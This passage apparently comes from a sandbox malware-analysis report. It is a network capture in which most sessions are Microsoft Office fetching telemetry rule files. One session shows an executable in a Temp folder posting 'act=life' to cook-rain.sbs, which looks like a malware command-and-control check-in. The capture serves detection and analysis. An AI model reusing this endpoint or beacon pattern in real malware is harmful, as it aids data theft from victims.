43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:12 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:12 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 8b710333-301e-0020-767a-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061012Z-178bfbc474bbbqrhhC1NYCvw74000000013000000000s4zu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:12 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:13 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:14 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:14 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: a8d62205-901e-0083-0c0e-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061014Z-1777c6cb754wcxkwhC1TEB3c6w0000000an00000000091rc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:14 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:13 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:14 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:14 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 16271672-201e-00aa-62ac-3b3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061014Z-r1d97b995778dpcthC1TEB4b5400000009yg000000001dyk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:14 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:13 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:14 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 76e93f39-101e-0034-5559-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061014Z-178bfbc474bmqmgjhC1NYCy16c000000014000000000cay8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:14 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:13 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:14 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:14 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 3af7945d-501e-0016-1564-3b181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061014Z-178bfbc474bgvl54hC1NYCsfuw00000000y000000000qcwx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:14 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:14 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:15 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:14 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 538c974f-101e-0028-648c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061014Z-1777c6cb754rz2pghC1TEBghen0000000apg00000000397m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:15 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:15 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:16 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:16 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 20caaba8-701e-005c-0363-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061016Z-178bfbc474bp8mkvhC1NYCzqnn000000010g0000000011vx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:16 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:16 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:16 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 57b2d8b6-201e-0033-2767-3bb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061016Z-178bfbc474b9fdhphC1NYCac0n000000011g0000000056pk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:16 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:16 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:16 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9f194ed4-601e-0070-357c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061016Z-178bfbc474b7cbwqhC1NYC8z4n00000000wg00000000m301 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:16 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:16 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:16 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:16 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: d277967d-801e-0047-0163-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061016Z-178bfbc474b9fdhphC1NYCac0n0000000110000000006cne x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:16 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:16 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:17 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: f8feafe0-e01e-0020-2afa-3ade90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061017Z-r1d97b99577hc74hhC1TEBvbns00000009ug000000008350 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:17 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49780	188.114.97.3	443	7400	C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:17 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-21 06:10:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:18 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:18 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:18 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 792329fd-401e-0035-1f6c-3b82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061018Z-178bfbc474bmqmgjhC1NYCy16c000000012000000000hdm1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
